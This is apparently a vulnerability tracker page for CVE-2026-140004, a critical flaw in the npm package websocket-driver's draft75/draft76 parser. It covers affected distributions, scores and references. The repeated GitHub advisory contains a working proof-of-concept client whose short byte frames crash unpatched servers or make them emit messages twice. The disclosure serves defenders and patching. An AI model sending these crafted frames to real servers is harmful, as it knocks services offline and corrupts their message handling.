CVE-2026-140004
websocket- driver: Message corruption and denial of service triggered by crafted client message
- Severity
- 9.1CriticalNetwork attack, no privileges, no user interactionCVSS 3.1, CVE List
- Exploitation
- None reported
- Exploit chance
- 0.64% in 30 daysPercentile52ndEPSS, scored
- Listed fix
0.8.0for websocket-driver (npm) From GitHub Advisories and OSV8 other affected packages
Overview
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.
CVSS 3.1 vector
Exploitability
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
Impact
- Scope
- Unchanged
- Confidentiality
- None
- Integrity
- High
- Availability
- High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:HExploit chance over time
Discussion
Affected
Packages 9
| Package | Affected | Fixed |
|---|---|---|
websocket-drivernpm | before 0.8.0 | 0.8.0 |
js-jqueryAzure Linux:3 | through 3.5.0-4 | None listed |
python-tensorboardAzure Linux:3 | through 2.16.2-6 | None listed |
node-websocket-driverDebian:12 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:13 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
node-websocket-driverDebian:14 | All versions, plus listed versions 0.7.4+~cs0.6.14-10.7.4+~cs0.6.7-20.7.5+~cs0.6.14-1 | None listed |
librechat-0Docker Hardened Images:Alpine:3.23 | 0.8.8-r0 and later, plus listed versions 0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5 Show 5 more versionsShow less0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3 | None listed |
librechat-0Docker Hardened Images:Alpine:3.24 | 0.8.8-r0 and later, plus listed versions 0.8.8-r10.8.8-r20.8.8-r30.8.8-r40.8.8-r5 Show 5 more versionsShow less0.8.8-r60.8.9-r00.8.9-r10.8.9-r20.8.9-r3 | None listed |
librechat-0Docker Hardened Images:Debian:13 | 0.8.8-0 and later, plus listed versions 0.8.8-10.8.8-20.8.8-30.8.8-40.8.8-5 Show 5 more versionsShow less0.8.9-00.8.9-10.8.9-20.8.9-30.8.9-4 | None listed |
Only in multi-CVE advisories 1
Each of these advisories covers several CVEs at once, so it doesn’t establish that this one affects the package.
| Package | Affected | Fixed |
|---|---|---|
websocket-driverTuxCare:npm | 0.7.5-tuxcare.0 up to 0.7.5-tuxcare.3, plus listed versions From an advisory covering 5 CVEs 0.7.50.7.5-tuxcare.10.7.5-tuxcare.2 | 0.7.5-tuxcare.3 |
| 0.7.4-tuxcare.0 up to 0.7.4-tuxcare.3, plus listed versions From an advisory covering 5 CVEs 0.7.40.7.4-tuxcare.10.7.4-tuxcare.2 | 0.7.4-tuxcare.3 |
Products 1
Exploits
Sources link exploit code, tools that only detect the flaw and other work on it, and most don’t say which a link is.
| Link | Source | Date |
|---|---|---|
| googlesky/CVE-2026-140004 | PoC in GitHub | 2026-12-02 |
Sources
CVE List Score usedCVSS 3.19.1
websocket-driver: Message corruption and denial of service triggered by crafted client message
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.
- Record
CVE-2026-140004- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-248, CWE-456
- Updated
- 2026-12-01
EUVDEUVD-2026-139727CVSS 3.19.1
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.
- Record
EUVD-2026-139727- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Updated
- 2026-12-01
GitHub AdvisoriesGHSA-v36f-rjg3-3v46CVSS 3.19.1
websocket-driver: Message corruption and denial of service triggered by crafted client message
Summary
An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.
Details
The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.
To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.
Proof of concept
Given a server using websocket-driver to handle WebSocket connections:
const net = require('net')
const ws = require('websocket-driver')
let server = net.createServer((conn) => {
let driver = ws.server()
driver.on('connect', () => {
if (ws.isWebSocket(driver)) driver.start()
})
driver.on('close', () => conn.end())
conn.pipe(driver.io).pipe(conn)
driver.on('message', (msg) => console.log(msg.data))
})
server.listen(8000)
A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:
const net = require('net')
let tcp = net.connect(8000, '127.0.0.1')
tcp.on('connect', () => {
tcp.write([
'GET / HTTP/1.1',
'Host: 127.0.0.1:8000',
'Connection: upgrade',
'Upgrade: websocket',
'', ''
].join('\r\n'))
tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))
tcp.write(Buffer.from([0x80, 0x01, 0xff]))
})
This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.
After upgrading to a patched version, both these situations are handled correctly if allowDrafts: true is set. If it is not set then the connection is rejected as a bad request.
Impact
Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
- Record
GHSA-v36f-rjg3-3v46- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-248, CWE-456
- Updated
- 2026-12-01
NVDCVSS 3.19.1
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.
- Record
CVE-2026-140004- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-248, CWE-456
- Updated
- 2026-12-01
OSVCVSS 3.19.1
websocket-driver: Message corruption and denial of service triggered by crafted client message
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.
- Record
CVE-2026-140004- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-248, CWE-456
- Updated
- 2026-12-01
OSVDEBIAN-CVE-2026-140004CVSS 3.19.1
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.
- Record
DEBIAN-CVE-2026-140004- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Updated
- 2026-12-03
Show 6 more recordsShow less
OSVDHI-x57i-6lkn-dbu3-do5kCVSS 3.19.1
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75…
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.
- Record
DHI-x57i-6lkn-dbu3-do5k- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Updated
- 2026-12-04
OSVGHSA-v36f-rjg3-3v46CVSS 3.19.1
websocket-driver: Message corruption and denial of service triggered by crafted client message
Summary
An unauthenticated remote client can trigger message corruption and denial of service by starting a draft75 or draft76 WebSocket connection and sending a brief sequence of bytes. The byte sequence is parsed incorrectly and can lead to duplicate messages or server crash.
Details
The websocket-driver library supports earlier versions of the WebSocket protocol from before the RFC was standardised, particularly the draft75 and draft76 versions. There is a bug in the parsing of messages in these versions that can lead to the server duplicating received messages or crashing when a client sends a specific sequence of bytes over a connection being handled by this parser. No special conditions are required and the input message that triggers this behaviour is very short, so an attacker can easily crash a remote server.
To mitigate this, the parser bug has been fixed, and support for draft protocol versions has been disabled by default. Servers wanting to continue to support these versions need to pass the option allowDrafts: true when creating a driver instance.
Proof of concept
Given a server using websocket-driver to handle WebSocket connections:
const net = require('net')
const ws = require('websocket-driver')
let server = net.createServer((conn) => {
let driver = ws.server()
driver.on('connect', () => {
if (ws.isWebSocket(driver)) driver.start()
})
driver.on('close', () => conn.end())
conn.pipe(driver.io).pipe(conn)
driver.on('message', (msg) => console.log(msg.data))
})
server.listen(8000)
A client can connect and send a set of headers that will pass as a draft75 handshake, followed by two message frames:
const net = require('net')
let tcp = net.connect(8000, '127.0.0.1')
tcp.on('connect', () => {
tcp.write([
'GET / HTTP/1.1',
'Host: 127.0.0.1:8000',
'Connection: upgrade',
'Upgrade: websocket',
'', ''
].join('\r\n'))
tcp.write(Buffer.from([0x00, 0x48, 0x69, 0xff]))
tcp.write(Buffer.from([0x80, 0x01, 0xff]))
})
This client will cause the server to emit the message Hi twice when it was only sent once. If the first frame is omitted and the client sends only 80 01 ff, then the server crashes.
After upgrading to a patched version, both these situations are handled correctly if allowDrafts: true is set. If it is not set then the connection is rejected as a bad request.
Impact
Users running a server using websocket-driver to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
- Record
GHSA-v36f-rjg3-3v46- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H - Weakness
- CWE-248, CWE-456
- Updated
- 2026-12-01
OSVAZL-117523No score
CVE-2026-140004 affecting package js-jquery 3.5.0-4
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.
- Record
AZL-117523- Updated
- 2026-12-03
OSVAZL-117611No score
CVE-2026-140004 affecting package python-tensorboard 2.16.2-6
websocket-driver is a WebSocket protocol handler with pluggable input and output. Prior to 0.8.0, a bug in the draft75 and draft76 message parser mishandles a short crafted byte sequence. An unauthenticated remote client can send this sequence over a legacy WebSocket connection, causing a received message to be emitted twice or causing the server process to crash. This issue is fixed in version 0.8.0.
- Record
AZL-117611- Updated
- 2026-12-03
OSVCLSA-2026-1796199359No score
TuxCare security update for websocket-driver (5 CVEs)
TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.5-tuxcare.3.
- Record
CLSA-2026-1796199359- Updated
- 2026-12-04
OSVCLSA-2026-1796206185No score
TuxCare security update for websocket-driver (5 CVEs)
TuxCare rebuilt websocket-driver to address 5 CVEs. Fixed in 0.7.4-tuxcare.3.
- Record
CLSA-2026-1796206185- Updated
- 2026-12-04
History
Recorded by Every CVE
| Day | Changed | Sources |
|---|---|---|
| Affected packages, other IDs | OSV | |
| Affected packages, other IDs, references | OSV | |
| Affected packages, other IDs, references | OSV | |
| Affected packages, other IDs, references | OSV | |
| Exploit links, key facts | PoC in GitHub | |
| Affected packages | OSV | |
| Affected packages, other IDs, references | OSV | |
| Published date | EUVD, OSV | |
| Published date | EUVD | |
| Affected packages, references | OSV | |
| Affected packages, key facts, references | CVE List, GitHub Advisories, NVD | |
| Other IDs, references | OSV | |
| Other IDs, published date | EUVD, NVD | |
| First indexed | CVE List |
Upstream dates may differ.
References
github.com/faye/websocket-driver-node/security/advisories/GHSA-v36f-rjg3-3v46
github.com/faye/websocket-driver-node/commit/f9f657c823ff826dc4bccda4c603ee076c089bd7
nvd.nist.gov/vuln/detail/CVE-2026-140004
github.com/advisories/GHSA-v36f-rjg3-3v46
github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140004.json
security-tracker.debian.org/tracker/CVE-2026-140004
scout.docker.com/v/DHI-x57i-6lkn-dbu3-do5k
ubuntu.com/security/CVE-2026-140004
people.ubuntu.com/~ubuntu-security/cve/CVE-2026-140004
github.com/faye/websocket-driver-node